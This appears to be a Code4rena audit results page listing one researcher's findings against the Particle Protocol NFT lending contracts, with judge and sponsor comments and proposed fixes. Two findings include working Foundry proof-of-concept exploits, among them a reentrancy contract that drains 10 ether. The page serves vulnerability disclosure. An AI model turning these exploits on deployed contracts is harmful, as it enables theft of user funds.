Particle Protocol - Invitational - bin2chen's results

Peer-to-peer interest earning and liquidity leveraging for NFTs.

General Information

Platform: Code4rena

Start Date: 30/05/2023

Pot Size: $24,170 USDC

Total HM: 10

Participants: 5

Period: 3 days

Judge: hansfriese

Total Solo HM: 2

Id: 244

League: ETH

Particle Protocol

Findings Distribution

Researcher Performance

Rank: 2/5

Findings: 5

Award: $0.00

QA:
grade-b

🌟 Selected for report: 4

πŸš€ Solo Findings: 1

Findings Information

🌟 Selected for report: rbserver

Also found by: adriro, bin2chen, d3e4, minhquanym

Labels

bug
3 (High Risk)
satisfactory
sponsor confirmed
upgraded by judge
duplicate-31

Awards

Data not available

External Links

Lines of code

https://github.com/code-423n4/2023-05-particle/blob/1caf678bc20c24c96fc8f6b0046383ff0e9d2a6f/contracts/protocol/ParticleExchange.sol#L688

Vulnerability details

Impact

borrower can block the bidding

Proof of Concept

auctionBuyNft() When the bid is successful and there is an extra amount, it will be refunded to borrower The code is as follows:

    function auctionBuyNft(
        Lien calldata lien,
        uint256 lienId,
        uint256 tokenId,
        uint256 amount
    ) external override validateLien(lien, lienId) auctionLive(lien) {
...
        // pay PnL to borrower
        uint256 payback = lien.credit + lien.price - payableInterest - amount;
        if (payback > 0) {
            payable(lien.borrower).transfer(payback);  //<--------@audit payback to borrower
        }    

Using transfer(), a malicious borrower who is a contract can increase the gas consumption of receive(), causing transfer() to revert and thus prevent bidding

Note: withdrawEthWithInterest() has a similar problem

Tools Used

Add claim mechanism, if transfer fails, it will enter the cliams queue, and borrower will execute claims() to get back the money.

Assessed type

Context

#0 - c4-judge

2023-06-06T06:16:04Z

hansfriese marked the issue as satisfactory

#1 - c4-judge

2023-06-06T06:35:41Z

hansfriese marked the issue as duplicate of #21

#2 - c4-judge

2023-06-06T07:33:56Z

hansfriese marked the issue as duplicate of #31

#3 - c4-sponsor

2023-06-07T01:41:13Z

wukong-particle marked the issue as sponsor confirmed

#4 - wukong-particle

2023-06-07T01:41:45Z

Correct finding, correct duplication. Suggestion good as well.

#5 - c4-judge

2023-06-07T13:56:57Z

hansfriese changed the severity to 3 (High Risk)

#6 - wukong-particle

2023-06-12T23:06:42Z

Findings Information

🌟 Selected for report: bin2chen

Also found by: minhquanym

Labels

bug
3 (High Risk)
primary issue
satisfactory
selected for report
sponsor confirmed
H-03

Awards

Data not available

External Links

Lines of code

https://github.com/code-423n4/2023-05-particle/blob/1caf678bc20c24c96fc8f6b0046383ff0e9d2a6f/contracts/protocol/ParticleExchange.sol#L428

Vulnerability details

Impact

Use other Lien's NFTs for repayment

Proof of Concept

_execBuyNftFromMarket() Whether the NFT is in the current contract after buy, to represent the successful buy of NFT

    function _execBuyNftFromMarket(
        address collection,
        uint256 tokenId,
        uint256 amount,
        uint256 useToken,
        address marketplace,
        bytes calldata tradeData
    ) internal {
...

        if (IERC721(collection).ownerOf(tokenId) != address(this) || balanceBefore - address(this).balance != amount) {
            revert Errors.InvalidNFTBuy();
        }
    }    

But before executing the purchase, it does not determine whether the NFT is already in the contract

Since the current protocol does not limit an NFT to only one Lien, the _execBuyNftFromMarket() does not actually buy NFT, the funds is used to buy other NFTs but still can meet the verification conditions

Example.

  1. alice transfer NFT_A to supply Lien[1]
  2. bob performs sellNftToMarket(1) , and NFT_A is bought by jack
  3. jack transfer NFT_A and supply Line[2] (after this NFT_A exists in the contract)
  4. bob execute buyNftFromMarket(1), spend the same amount corresponding to the purchase of other NFT such as: tradeData = { buy NFT_K }
  5. Step 4 can be passed IERC721(collection).ownerOf(tokenId) ! = address(this) || balanceBefore - address(this).balance ! = amount and bob gets an additional NFT_K

Test code:

    function testOneNftTwoLien() external {
        //0.lender supply lien[0]
        _approveAndSupply(lender,_tokenId);
        //1.borrower sell to market
        _rawSellToMarketplace(borrower, address(dummyMarketplace), 0, _sellAmount);
        //2.jack buy nft
        address jack = address(0x100);
        vm.startPrank(jack);
        dummyMarketplace.buyFromMarket(jack,address(dummyNFTs),_tokenId);
        vm.stopPrank();
        //3.jack  supply lien[1]
        _approveAndSupply(jack, _tokenId);        
        //4.borrower buyNftFromMarket , don't need buy dummyNFTs ,  buy other nft
        OtherDummyERC721 otherDummyERC721 = new OtherDummyERC721("otherNft","otherNft");
        otherDummyERC721.mint(address(dummyMarketplace),1);
        console.log("before borrower balance:",borrower.balance /  1 ether);
        console.log("before otherDummyERC721's owner is borrower :",otherDummyERC721.ownerOf(1)==borrower);
        bytes memory tradeData = abi.encodeWithSignature(
            "buyFromMarket(address,address,uint256)",
            borrower,
            address(otherDummyERC721),//<--------buy other nft
            1
        );
        vm.startPrank(borrower);
        particleExchange.buyNftFromMarket(
            _activeLien, 0, _tokenId, _sellAmount, 0, address(dummyMarketplace), tradeData);
        vm.stopPrank();
        //5.show borrower get 10 ether back , and get  other nft
        console.log("after borrower balance:",borrower.balance /  1 ether);
        console.log("after otherDummyERC721's owner is borrower :",otherDummyERC721.ownerOf(1)==borrower);

    }



contract OtherDummyERC721 is ERC721 {
    // solhint-disable-next-line no-empty-blocks
    constructor(string memory name, string memory symbol) ERC721(name, symbol) {}

    function mint(address to, uint256 tokenId) external {
        _safeMint(to, tokenId);
    }
}

$ forge test --match testOneNftTwoLien  -vvv

[PASS] testOneNftTwoLien() (gas: 1466296)
Logs:
  before borrower balance: 0
  before otherDummyERC721's owner is borrower : false
  after borrower balance: 10
  after otherDummyERC721's owner is borrower : true

Test result: ok. 1 passed; 0 failed; finished in 6.44ms

Tools Used

_execBuyNftFromMarket to determine the ownerOf() is not equal to the contract address before buying

    function _execBuyNftFromMarket(
        address collection,
        uint256 tokenId,
        uint256 amount,
        uint256 useToken,
        address marketplace,
        bytes calldata tradeData
    ) internal {
        if (!registeredMarketplaces[marketplace]) {
            revert Errors.UnregisteredMarketplace();
        }
+       require(IERC721(collection).ownerOf(tokenId) != address(this),"NFT is already in contract ")
...

Assessed type

Context

#0 - c4-judge

2023-06-06T06:15:34Z

hansfriese marked the issue as satisfactory

#1 - hansfriese

2023-06-06T10:11:55Z

PoC -> Marked as primary

#2 - c4-judge

2023-06-06T10:11:59Z

hansfriese marked the issue as primary issue

#3 - c4-sponsor

2023-06-06T22:01:06Z

wukong-particle marked the issue as sponsor confirmed

#4 - c4-judge

2023-06-07T13:54:00Z

hansfriese marked the issue as selected for report

#5 - wukong-particle

2023-06-07T18:07:12Z

Findings Information

🌟 Selected for report: bin2chen

Labels

bug
3 (High Risk)
satisfactory
selected for report
sponsor confirmed
H-04

Awards

Data not available

External Links

Lines of code

https://github.com/code-423n4/2023-05-particle/blob/1caf678bc20c24c96fc8f6b0046383ff0e9d2a6f/contracts/protocol/ParticleExchange.sol#L291

Vulnerability details

Impact

re-enter steal funds

Proof of Concept

_execSellNftToMarket() The number of changes in the balance to represent whether the corresponding amount has been received

    function _execSellNftToMarket(
        address collection,
        uint256 tokenId,
        uint256 amount,
        bool pushBased,
        address marketplace,
        bytes calldata tradeData
    ) internal {
...

        if (
            IERC721(collection).ownerOf(tokenId) == address(this) ||
            address(this).balance - ethBefore - wethBefore != amount
        ) {
            revert Errors.InvalidNFTSell();
        }    

Since the current contract doesn't have any nonReentrant restrictions Then the user can use reentrant and pay only once when multiple _execSellNftToMarket()s share the same transfer of funds

Here are some examples.

  1. alice supplies a fake NFT_A
  2. alice executes sellNftToMarket(), assuming sellAmount=10
  3. execSellNftToMarket() inside the IERC721(collection).safeTransferFrom() for re-entry. Note: The collection is an arbitrary contract, so safeTransferFrom() can be any code.
  4. Reenter the execution of another Lien's sellNftToMarket(), and really transfer to amount=10
  5. After the above re-entry, go back to step 3, this step does not need to actually pay, because step 4 has been transferred to sellAmount = 10, so it can pass this verification address(this).balance - ethBefore - wethBefore ! = amount

so that only one payment is made, reaching the sellNftToMarket() twice

Test code:

add to ParticleExchange.t.sol


    function testReenter() public{
        vm.deal(address(particleExchange),100 ether);        
        FakeERC721 fakeERC721 =  new FakeERC721(particleExchange,address(dummyMarketplace),"fake","fake");
        vm.deal(address(fakeERC721),10 ether);
        fakeERC721.execSteal();
    }



contract FakeERC721 is ERC721 {
    ParticleExchange private particleExchange;
    address private marketplace;
    uint sellAmount = 10 ether;
    constructor(ParticleExchange _particleExchange,address _marketplace, string memory name, string memory symbol) ERC721(name, symbol) {
        particleExchange = _particleExchange;
        marketplace = _marketplace;
    }

    function mint(address to, uint256 tokenId) external {
        _safeMint(to, tokenId);
    }

    function execSteal() external {
        //0. mint nft and supply lien
        uint256 tokenId = 1;
        _mint(address(this), tokenId);
        _mint(address(this), tokenId + 1);
        _setApprovalForAll(address(this),address(particleExchange), true);
        //console.log(isApprovedForAll(address(this),address(particleExchange)));
        uint256 lienId = particleExchange.supplyNft(address(this), tokenId, sellAmount, 0);
        uint256 lienId2 = particleExchange.supplyNft(address(this), tokenId + 1, sellAmount, 0);
        uint256 particleExchangeBefore = address(particleExchange).balance;
        uint256 fakeNftBefore = address(this).balance;
        console.log("before particleExchange balance:",particleExchangeBefore / 1 ether);
        console.log("before fakeNft balance:",fakeNftBefore / 1 ether);
        //1.sell , reenter pay one but sell two lien
        sell(lienId,tokenId,sellAmount); 
        //2. repay lien 1 get 10 ether funds
        particleExchange.repayWithNft(
            Lien({
                lender: address(this),
                borrower: address(this),
                collection: address(this),
                tokenId: tokenId,
                price: sellAmount,
                rate: 0,
                loanStartTime: block.timestamp,
                credit: 0,
                auctionStartTime: 0
            }),
            lienId,
            tokenId
        );
        //3. repay lien 2 get 10 ether funds
        particleExchange.repayWithNft(
            Lien({
                lender: address(this),
                borrower: address(this),
                collection: address(this),
                tokenId: tokenId + 1,
                price: sellAmount,
                rate: 0,
                loanStartTime: block.timestamp,
                credit: 0,
                auctionStartTime: 0
            }),            
            lienId2,
            tokenId + 1
        );       
        //4.show fakeNft steal funds
        console.log("after particleExchange balance:",address(particleExchange).balance/ 1 ether);
        console.log("after fakeNft balance:",address(this).balance/ 1 ether);
        console.log("after particleExchange lost:",(particleExchangeBefore - address(particleExchange).balance)/ 1 ether);       
        console.log("after fakeNft steal:",(address(this).balance - fakeNftBefore) / 1 ether);        
    }

    function sell(uint256 lienId,uint256 tokenId,uint256 sellAmount) private{
        bytes memory tradeData = abi.encodeWithSignature(
            "sellToMarket(address,address,uint256,uint256)",
            address(particleExchange),
            address(this),
            tokenId,
            sellAmount
        );
        particleExchange.sellNftToMarket(
            Lien({
                lender: address(this),
                borrower: address(0),
                collection: address(this),
                tokenId: tokenId,
                price: sellAmount,
                rate: 0,
                loanStartTime: 0,
                credit: 0,
                auctionStartTime: 0
            }),
            lienId,
            sellAmount,
            true,
            marketplace,
            tradeData
        );         
    }        
    function safeTransferFrom(
        address from,
        address to,
        uint256 tokenId,
        bytes memory data
    ) public virtual override {
        if(from == address(particleExchange)){
            if (tokenId == 1) { //tokenId =1 , reenter , don't pay
                sell(1,tokenId + 1 ,sellAmount);
            }else { // tokenId = 2 ,real pay
                payable(address(particleExchange)).transfer(sellAmount);
            }
        }
        _transfer(_ownerOf(tokenId),to,tokenId); //anyone can transfer
    }
    fallback() external payable {}
}
$ forge test --match testReenter  -vvv

Running 1 test for test/ParticleExchange.t.sol:ParticleExchangeTest
[PASS] testReenter() (gas: 1869563)
Logs:
  before particleExchange balance: 100
  before fakeNft balance: 10
  after particleExchange balance: 90
  after fakeNft balance: 20
  after particleExchange lost: 10
  after fakeNft steal: 10

Test result: ok. 1 passed; 0 failed; finished in 4.80ms

Tools Used

Add nonReentrant restrictions to all Lien-related methods

Assessed type

Reentrancy

#0 - c4-judge

2023-06-06T06:14:29Z

hansfriese marked the issue as satisfactory

#1 - c4-sponsor

2023-06-06T19:03:47Z

wukong-particle marked the issue as sponsor confirmed

#2 - hansfriese

2023-06-07T07:05:38Z

Good finding!

#3 - wukong-particle

2023-06-07T22:45:14Z

Findings Information

🌟 Selected for report: bin2chen

Also found by: d3e4, minhquanym, rbserver

Labels

bug
3 (High Risk)
primary issue
satisfactory
selected for report
sponsor confirmed
H-05

Awards

Data not available

External Links

Lines of code

https://github.com/code-423n4/2023-05-particle/blob/1caf678bc20c24c96fc8f6b0046383ff0e9d2a6f/contracts/protocol/ParticleExchange.sol#L183

Vulnerability details

Impact

Possible take away other Lien's NFT

Proof of Concept

withdrawNftWithInterest() Used to retrieve NFT The only current restriction is that if you can transfer out of NFT, it means an inactive loan

    function withdrawNftWithInterest(Lien calldata lien, uint256 lienId) external override validateLien(lien, lienId) {
        if (msg.sender != lien.lender) {
            revert Errors.Unauthorized();
        }

        // delete lien
        delete liens[lienId];

        // transfer NFT back to lender
        /// @dev can withdraw means NFT is currently in contract without active loan,
        /// @dev the interest (if any) is already accured to lender at NFT acquiring time
        IERC721(lien.collection).safeTransferFrom(address(this), msg.sender, lien.tokenId);
...

However, the current protocol does not restrict the existence of only one Lien in the same NFT

For example, the following scenario.

  1. alice transfer NFT_A and supply Lien[1]
  2. bob executes sellNftToMarket()
  3. jack buys NFT_A from the market
  4. jack transfers NFT_A and supply Lien[2]
  5. alice executing withdrawNftWithInterest(1) is able to get NFT_A successfully (because step 4 NFT_A is already in the contract) This results in the deletion of lien[1], and Lien[2]'s NFT_A is transferred away

The result is: jack's NFT is lost, and bob's funds are also lost

Tools Used

Need to determine whether there is a Loan

    function withdrawNftWithInterest(Lien calldata lien, uint256 lienId) external override validateLien(lien, lienId) {
        if (msg.sender != lien.lender) {
            revert Errors.Unauthorized();
        }

+       require(lien.loanStartTime == 0,"Active Loan");

Assessed type

Context

#0 - romeroadrian

2023-06-04T00:09:12Z

Nice finding

#1 - c4-judge

2023-06-06T06:13:32Z

hansfriese marked the issue as satisfactory

#2 - c4-judge

2023-06-06T08:05:16Z

hansfriese marked the issue as primary issue

#3 - c4-sponsor

2023-06-06T19:00:10Z

wukong-particle marked the issue as sponsor confirmed

#4 - c4-judge

2023-06-07T13:53:46Z

hansfriese marked the issue as selected for report

#5 - wukong-particle

2023-06-07T18:30:09Z

Findings Information

🌟 Selected for report: bin2chen

Also found by: d3e4, minhquanym

Labels

bug
2 (Med Risk)
disagree with severity
downgraded by judge
primary issue
satisfactory
selected for report
sponsor confirmed
M-02

Awards

Data not available

External Links

Lines of code

https://github.com/code-423n4/2023-05-particle/blob/1caf678bc20c24c96fc8f6b0046383ff0e9d2a6f/contracts/protocol/ParticleExchange.sol#L518

Vulnerability details

Impact

DOS Attack

Proof of Concept

addCredit() can be called by anyone, and the msg.value is as small as 1 wei.

Users can modify Lien at a small cost, causing the value stored in liens[lienId]=keccak256(abi.encode(lien)) to change By front-run, the normal user's transaction validateLien() fails the check, thus preventing the user's transaction from being executed

The following methods will be exploited: (most methods with validateLien() will be affected) For example.

  1. front-run auctionBuyNft() is used to prevent others from bidding
  2. front-run startLoanAuction() to prevent the lender from starting the auction
  3. front-run stopLoanAuction() is used to stop Lender from closing the auction etc.

Tools Used

  1. addCredit() can execute only be the borrower
  2. add the modification interval period
  3. limit min of msg.value

Assessed type

Context

#0 - c4-judge

2023-06-06T06:15:43Z

hansfriese marked the issue as satisfactory

#1 - hansfriese

2023-06-06T10:26:21Z

Concise explanation and reasonable mitigation recommendation. Marked as primary.

#2 - c4-judge

2023-06-06T10:26:47Z

hansfriese changed the severity to 3 (High Risk)

#3 - c4-judge

2023-06-06T10:27:12Z

hansfriese marked the issue as primary issue

#4 - hansfriese

2023-06-06T10:33:35Z

Preventing borrowers from repaying NFT by causing DoS for repayWithNft is another severe exploit. (#40)

#5 - c4-sponsor

2023-06-06T19:21:19Z

wukong-particle marked the issue as disagree with severity

#6 - wukong-particle

2023-06-06T19:25:53Z

Should be med risk because no fund or asset can be stolen. Add credit incur non-trivial gas so DOS can't economically happen very often.

We agree with the suggestion to add borrower only check and add a minimum 0.01 ETH credit limit.

#7 - c4-sponsor

2023-06-06T19:26:01Z

wukong-particle marked the issue as sponsor confirmed

#8 - hansfriese

2023-06-07T06:37:36Z

Agree with the sponsor. Downgrading to Medium.

#9 - c4-judge

2023-06-07T06:37:50Z

hansfriese changed the severity to 2 (Med Risk)

#10 - c4-judge

2023-06-07T13:54:11Z

hansfriese marked the issue as selected for report

#11 - d3e4

2023-06-08T13:50:46Z

We agree with the suggestion to add borrower only check and add a minimum 0.01 ETH credit limit.

Adding a borrower only check seems good. But I am concerned that 0.01 ETH is not enough. If the max price is 72 ETH, then the auction price will increase 0.01 ETH every block. It then seems very reasonable that the borrower could still profitably DoS auctionBuyNft() so that he himself can call it when the price is close to max. This is of course an illegitimate use case of addCredit(). A way to avoid having any minimum limit for a legitimate use of addCredit() is to enforce that the borrower is solvent after adding credit. This way the hefty minimum limit only applies to adding additional credit which is what is susceptible to exploits.

#12 - wukong-particle

2023-06-09T18:40:46Z

Findings Information

🌟 Selected for report: adriro

Also found by: bin2chen, d3e4, minhquanym, rbserver

Labels

bug
grade-b
QA (Quality Assurance)
sponsor disputed
Q-04

Awards

Data not available

External Links

L-01:_execSellNftToMarket() IERC721.ownerOf() method will revert after NFT has burn(), resulting in sell failure

_execSellNftToMarket() uses IERC721(collection).ownerOf(tokenId) == address(this) at the end of the method to determine if it is InvalidNFTSell But in some extreme cases, for example, people who buy NFTs with the intention of burning them, but use ownerOf(), resulting in a revert

    function ownerOf(uint256 id) public view virtual returns (address owner) {
        require((owner = _ownerOf[id]) ! = address(0), "NOT_MINTED").
    }

_execSellNftToMarket () purpose is to sell NFT, even if this sell NFT was burned, should also be successful, should not be NFT burn restrictions, resulting in the inability to sell

It is recommended to use try/catch, if it has been burn, considered a valid sell

L-02:_withdrawAccountInterest() may not be able to use transfer() to receive funds if lender is a contract It is recommended to add the entry receiver

#0 - hansfriese

2023-06-06T06:18:58Z

L2

#1 - c4-judge

2023-06-06T10:47:22Z

hansfriese marked the issue as grade-b

#2 - wukong-particle

2023-06-06T23:09:43Z

L1: dispute, we should revert if OwnerOf(tokenId) === address(this) (sell not successful), not related to burn or not

L2: acknowledged, it's receiver's responsibility to have a way to receive ETH properly (e.g., EOA or multisig)

#3 - c4-sponsor

2023-06-06T23:10:15Z

wukong-particle marked the issue as sponsor disputed

#4 - hansfriese

2023-06-07T09:37:21Z

L1: Invalid L2: Low


L 1

#5 - wukong-particle

2023-06-09T21:49:49Z

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax Β© 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter